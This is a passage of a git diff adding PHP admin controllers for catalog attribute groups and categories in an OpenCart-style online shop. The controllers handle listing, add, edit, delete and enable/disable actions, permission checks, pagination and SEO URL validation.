+load->language('catalog/attribute_group');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/attribute_group');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('catalog/attribute_group');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/attribute_group');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_attribute_group->addAttributeGroup($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/attribute_group', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('catalog/attribute_group');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/attribute_group');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_attribute_group->editAttributeGroup($this->request->get['attribute_group_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/attribute_group', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('catalog/attribute_group');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/attribute_group');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $attribute_group_id) {
+ $this->model_catalog_attribute_group->deleteAttributeGroup($attribute_group_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/attribute_group', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'agd.name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/attribute_group', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('catalog/attribute_group/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('catalog/attribute_group/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['attribute_groups'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $attribute_group_total = $this->model_catalog_attribute_group->getTotalAttributeGroups();
+
+ $results = $this->model_catalog_attribute_group->getAttributeGroups($filter_data);
+
+ foreach ($results as $result) {
+ $data['attribute_groups'][] = array(
+ 'attribute_group_id' => $result['attribute_group_id'],
+ 'name' => $result['name'],
+ 'sort_order' => $result['sort_order'],
+ 'edit' => $this->url->link('catalog/attribute_group/edit', 'user_token=' . $this->session->data['user_token'] . '&attribute_group_id=' . $result['attribute_group_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('catalog/attribute_group', 'user_token=' . $this->session->data['user_token'] . '&sort=agd.name' . $url, true);
+ $data['sort_sort_order'] = $this->url->link('catalog/attribute_group', 'user_token=' . $this->session->data['user_token'] . '&sort=ag.sort_order' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $attribute_group_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('catalog/attribute_group', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($attribute_group_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($attribute_group_total - $this->config->get('config_limit_admin'))) ? $attribute_group_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $attribute_group_total, ceil($attribute_group_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/attribute_group_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['attribute_group_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/attribute_group', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['attribute_group_id'])) {
+ $data['action'] = $this->url->link('catalog/attribute_group/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('catalog/attribute_group/edit', 'user_token=' . $this->session->data['user_token'] . '&attribute_group_id=' . $this->request->get['attribute_group_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('catalog/attribute_group', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['attribute_group_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $attribute_group_info = $this->model_catalog_attribute_group->getAttributeGroup($this->request->get['attribute_group_id']);
+ }
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['attribute_group_description'])) {
+ $data['attribute_group_description'] = $this->request->post['attribute_group_description'];
+ } elseif (isset($this->request->get['attribute_group_id'])) {
+ $data['attribute_group_description'] = $this->model_catalog_attribute_group->getAttributeGroupDescriptions($this->request->get['attribute_group_id']);
+ } else {
+ $data['attribute_group_description'] = array();
+ }
+
+ if (isset($this->request->post['sort_order'])) {
+ $data['sort_order'] = $this->request->post['sort_order'];
+ } elseif (!empty($attribute_group_info)) {
+ $data['sort_order'] = $attribute_group_info['sort_order'];
+ } else {
+ $data['sort_order'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/attribute_group_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'catalog/attribute_group')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['attribute_group_description'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 1) || (utf8_strlen($value['name']) > 64)) {
+ $this->error['name'][$language_id] = $this->language->get('error_name');
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'catalog/attribute_group')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('catalog/attribute');
+
+ foreach ($this->request->post['selected'] as $attribute_group_id) {
+ $attribute_total = $this->model_catalog_attribute->getTotalAttributesByAttributeGroupId($attribute_group_id);
+
+ if ($attribute_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_attribute'), $attribute_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/catalog/category.php b/public/admin/controller/catalog/category.php
new file mode 100644
index 0000000..125671e
--- /dev/null
+++ b/public/admin/controller/catalog/category.php
@@ -0,0 +1,802 @@
+load->language('catalog/category');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/category');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('catalog/category');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/category');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_category->addCategory($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/category', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('catalog/category');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/category');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_category->editCategory($this->request->get['category_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/category', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('catalog/category');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/category');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $category_id) {
+ $this->model_catalog_category->deleteCategory($category_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/category', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function repair() {
+ $this->load->language('catalog/category');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/category');
+
+ if ($this->validateRepair()) {
+ $this->model_catalog_category->repairCategories();
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/category', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/category', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+ $data['add'] = $this->url->link('catalog/category/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('catalog/category/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['repair'] = $this->url->link('catalog/category/repair', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['enabled'] = $this->url->link('catalog/category/enable', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['disabled'] = $this->url->link('catalog/category/disable', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['path'])) {
+ if ($this->request->get['path'] != '') {
+ $this->path = explode('_', $this->request->get['path']);
+ $this->category_id = end($this->path);
+ $this->session->data['path'] = $this->request->get['path'];
+ } else {
+ unset($this->session->data['path']);
+ }
+ } elseif (isset($this->session->data['path'])) {
+ $this->path = explode('_', $this->session->data['path']);
+ $this->category_id = end($this->path);
+ }
+
+ $data['categories'] = $this->getCategories(0);
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ $category_total = $this->model_catalog_category->getTotalCategories();
+
+ $data['results'] = $this->language->get('text_category_total') . ($category_total);
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/category_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['category_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = array();
+ }
+
+ if (isset($this->error['meta_title'])) {
+ $data['error_meta_title'] = $this->error['meta_title'];
+ } else {
+ $data['error_meta_title'] = array();
+ }
+
+ if (isset($this->error['meta_h1'])) {
+ $data['error_meta_h1'] = $this->error['meta_h1'];
+ } else {
+ $data['error_meta_h1'] = array();
+ }
+
+ if (isset($this->error['keyword'])) {
+ $data['error_keyword'] = $this->error['keyword'];
+ } else {
+ $data['error_keyword'] = '';
+ }
+
+ if (isset($this->error['parent'])) {
+ $data['error_parent'] = $this->error['parent'];
+ } else {
+ $data['error_parent'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/category', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['category_id'])) {
+ $data['action'] = $this->url->link('catalog/category/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('catalog/category/edit', 'user_token=' . $this->session->data['user_token'] . '&category_id=' . $this->request->get['category_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('catalog/category', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['category_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $category_info = $this->model_catalog_category->getCategory($this->request->get['category_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['category_description'])) {
+ $data['category_description'] = $this->request->post['category_description'];
+ } elseif (isset($this->request->get['category_id'])) {
+ $data['category_description'] = $this->model_catalog_category->getCategoryDescriptions($this->request->get['category_id']);
+ } else {
+ $data['category_description'] = array();
+ }
+
+ $language_id = $this->config->get('config_language_id');
+ if (isset($data['category_description'][$language_id]['name'])) {
+ $data['heading_title'] = $data['category_description'][$language_id]['name'];
+ }
+
+ if (isset($this->request->post['path'])) {
+ $data['path'] = $this->request->post['path'];
+ } elseif (!empty($category_info)) {
+ $data['path'] = $category_info['path'];
+ } else {
+ $data['path'] = '';
+ }
+
+ if (isset($this->request->post['parent_id'])) {
+ $data['parent_id'] = $this->request->post['parent_id'];
+ } elseif (!empty($category_info)) {
+ $data['parent_id'] = $category_info['parent_id'];
+ } else {
+ $data['parent_id'] = 0;
+ }
+
+ $this->load->model('catalog/filter');
+
+ if (isset($this->request->post['category_filter'])) {
+ $filters = $this->request->post['category_filter'];
+ } elseif (isset($this->request->get['category_id'])) {
+ $filters = $this->model_catalog_category->getCategoryFilters($this->request->get['category_id']);
+ } else {
+ $filters = array();
+ }
+
+ $data['category_filters'] = array();
+
+ foreach ($filters as $filter_id) {
+ $filter_info = $this->model_catalog_filter->getFilter($filter_id);
+
+ if ($filter_info) {
+ $data['category_filters'][] = array(
+ 'filter_id' => $filter_info['filter_id'],
+ 'name' => $filter_info['group'] . ' > ' . $filter_info['name']
+ );
+ }
+ }
+
+ $this->load->model('setting/store');
+
+ $data['stores'] = array();
+
+ $data['stores'][] = array(
+ 'store_id' => 0,
+ 'name' => $this->language->get('text_default')
+ );
+
+ $stores = $this->model_setting_store->getStores();
+
+ foreach ($stores as $store) {
+ $data['stores'][] = array(
+ 'store_id' => $store['store_id'],
+ 'name' => $store['name']
+ );
+ }
+
+ if (isset($this->request->post['category_store'])) {
+ $data['category_store'] = $this->request->post['category_store'];
+ } elseif (isset($this->request->get['category_id'])) {
+ $data['category_store'] = $this->model_catalog_category->getCategoryStores($this->request->get['category_id']);
+ } else {
+ $data['category_store'] = array(0);
+ }
+
+ if (isset($this->request->post['image'])) {
+ $data['image'] = $this->request->post['image'];
+ } elseif (!empty($category_info)) {
+ $data['image'] = $category_info['image'];
+ } else {
+ $data['image'] = '';
+ }
+
+ $this->load->model('tool/image');
+
+ if (isset($this->request->post['image']) && is_file(DIR_IMAGE . $this->request->post['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($this->request->post['image'], 100, 100);
+ } elseif (!empty($category_info) && is_file(DIR_IMAGE . $category_info['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($category_info['image'], 100, 100);
+ } else {
+ $data['thumb'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+ }
+
+ $data['placeholder'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+
+ if (isset($this->request->post['top'])) {
+ $data['top'] = $this->request->post['top'];
+ } elseif (!empty($category_info)) {
+ $data['top'] = $category_info['top'];
+ } else {
+ $data['top'] = 0;
+ }
+
+ if (isset($this->request->post['column'])) {
+ $data['column'] = $this->request->post['column'];
+ } elseif (!empty($category_info)) {
+ $data['column'] = $category_info['column'];
+ } else {
+ $data['column'] = 1;
+ }
+
+ if (isset($this->request->post['sort_order'])) {
+ $data['sort_order'] = $this->request->post['sort_order'];
+ } elseif (!empty($category_info)) {
+ $data['sort_order'] = $category_info['sort_order'];
+ } else {
+ $data['sort_order'] = 0;
+ }
+
+ if (isset($this->request->post['product_related'])) {
+ $products = $this->request->post['product_related'];
+ } elseif (isset($category_info)) {
+ $products = $this->model_catalog_category->getProductRelated($this->request->get['category_id']);
+ } else {
+ $products = array();
+ }
+
+ $data['product_related'] = array();
+
+ $this->load->model('catalog/product');
+
+ foreach ($products as $product_id) {
+ $related_info = $this->model_catalog_product->getProduct($product_id);
+
+ if ($related_info) {
+ $data['product_related'][] = array(
+ 'product_id' => $related_info['product_id'],
+ 'name' => $related_info['name']
+ );
+ }
+ }
+
+ if (isset($this->request->post['article_related'])) {
+ $articles = $this->request->post['article_related'];
+ } elseif (isset($category_info)) {
+ $articles = $this->model_catalog_category->getArticleRelated($this->request->get['category_id']);
+ } else {
+ $articles = array();
+ }
+
+ $data['article_related'] = array();
+
+ $this->load->model('blog/article');
+
+ foreach ($articles as $article_id) {
+ $related_info = $this->model_blog_article->getArticle($article_id);
+
+ if ($related_info) {
+ $data['article_related'][] = array(
+ 'article_id' => $related_info['article_id'],
+ 'name' => $related_info['name']
+ );
+ }
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($category_info)) {
+ $data['status'] = $category_info['status'];
+ } else {
+ $data['status'] = true;
+ }
+
+ if (isset($this->request->post['category_seo_url'])) {
+ $data['category_seo_url'] = $this->request->post['category_seo_url'];
+ } elseif (isset($this->request->get['category_id'])) {
+ $data['category_seo_url'] = $this->model_catalog_category->getCategorySeoUrls($this->request->get['category_id']);
+ } else {
+ $data['category_seo_url'] = array();
+ }
+
+ if (isset($this->request->post['noindex'])) {
+ $data['noindex'] = $this->request->post['noindex'];
+ } elseif (!empty($category_info)) {
+ $data['noindex'] = $category_info['noindex'];
+ } else {
+ $data['noindex'] = 1;
+ }
+
+ if (isset($this->request->post['category_layout'])) {
+ $data['category_layout'] = $this->request->post['category_layout'];
+ } elseif (isset($this->request->get['category_id'])) {
+ $data['category_layout'] = $this->model_catalog_category->getCategoryLayouts($this->request->get['category_id']);
+ } else {
+ $data['category_layout'] = array();
+ }
+
+ $this->load->model('design/layout');
+
+ $data['layouts'] = $this->model_design_layout->getLayouts();
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/category_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'catalog/category')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['category_description'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 1) || (utf8_strlen($value['name']) > 255)) {
+ $this->error['name'][$language_id] = $this->language->get('error_name');
+ }
+
+ if ((utf8_strlen($value['meta_title']) < 0) || (utf8_strlen($value['meta_title']) > 255)) {
+ $this->error['meta_title'][$language_id] = $this->language->get('error_meta_title');
+ }
+
+ if ((utf8_strlen($value['meta_h1']) < 0) || (utf8_strlen($value['meta_h1']) > 255)) {
+ $this->error['meta_h1'][$language_id] = $this->language->get('error_meta_h1');
+ }
+ }
+
+ if (isset($this->request->get['category_id']) && $this->request->post['parent_id']) {
+ $results = $this->model_catalog_category->getCategoryPath($this->request->post['parent_id']);
+
+ foreach ($results as $result) {
+ if ($result['path_id'] == $this->request->get['category_id']) {
+ $this->error['parent'] = $this->language->get('error_parent');
+
+ break;
+ }
+ }
+ }
+
+ if (isset($this->request->post['category_seo_url']) && is_array($this->request->post['category_seo_url'])) {
+ foreach ($this->request->post['category_seo_url'] as $store_id => &$languages) {
+ foreach ($languages as $language_id => &$keyword) {
+ if (!empty($keyword)) {
+ $keyword = translit($keyword);
+ }
+ }
+ }
+ }
+
+ if (isset($this->request->post['category_description'])) {
+ foreach ($this->request->post['category_description'] as $language_id => $value) {
+ if (!empty($value['name'])) {
+ if (!isset($this->request->post['category_seo_url'][0][$language_id]) || trim($this->request->post['category_seo_url'][0][$language_id]) === '') {
+ $this->request->post['category_seo_url'][0][$language_id] = translit($value['name']);
+ }
+ }
+ }
+ }
+
+ if ($this->request->post['category_seo_url']) {
+ $this->load->model('design/seo_url');
+
+ foreach ($this->request->post['category_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ if (count(array_keys($language, $keyword)) > 1) {
+ $this->error['keyword'][$store_id][$language_id] = $this->language->get('error_unique');
+ }
+
+ $seo_urls = $this->model_design_seo_url->getSeoUrlsByKeyword($keyword);
+
+ foreach ($seo_urls as $seo_url) {
+ if (($seo_url['store_id'] == $store_id) && (!isset($this->request->get['category_id']) || ($seo_url['query'] != 'category_id=' . $this->request->get['category_id']))) {
+ $this->error['keyword'][$store_id][$language_id] = $this->language->get('error_keyword');
+
+ break;
+ }
+ }
+ }
+ }
+ }
+ }
+
+ if ($this->error && !isset($this->error['warning'])) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+
+ public function enable() {
+ $this->load->language('catalog/category');
+ $this->document->setTitle($this->language->get('heading_title'));
+ $this->load->model('catalog/category');
+ if (isset($this->request->post['selected']) && $this->validateEnable()) {
+ foreach ($this->request->post['selected'] as $category_id) {
+ $this->model_catalog_category->editCategoryStatus($category_id, 1);
+ }
+ $this->session->data['success'] = $this->language->get('text_success');
+ $url = '';
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+ $this->response->redirect($this->url->link('catalog/category', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+ $this->getList();
+ }
+
+ public function disable() {
+ $this->load->language('catalog/category');
+ $this->document->setTitle($this->language->get('heading_title'));
+ $this->load->model('catalog/category');
+ if (isset($this->request->post['selected']) && $this->validateDisable()) {
+ foreach ($this->request->post['selected'] as $category_id) {
+ $this->model_catalog_category->editCategoryStatus($category_id, 0);
+ }
+ $this->session->data['success'] = $this->language->get('text_success');
+ $url = '';
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+ $this->response->redirect($this->url->link('catalog/category', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+ $this->getList();
+ }
+
+ protected function validateEnable() {
+ if (!$this->user->hasPermission('modify', 'catalog/category')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDisable() {
+ if (!$this->user->hasPermission('modify', 'catalog/category')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
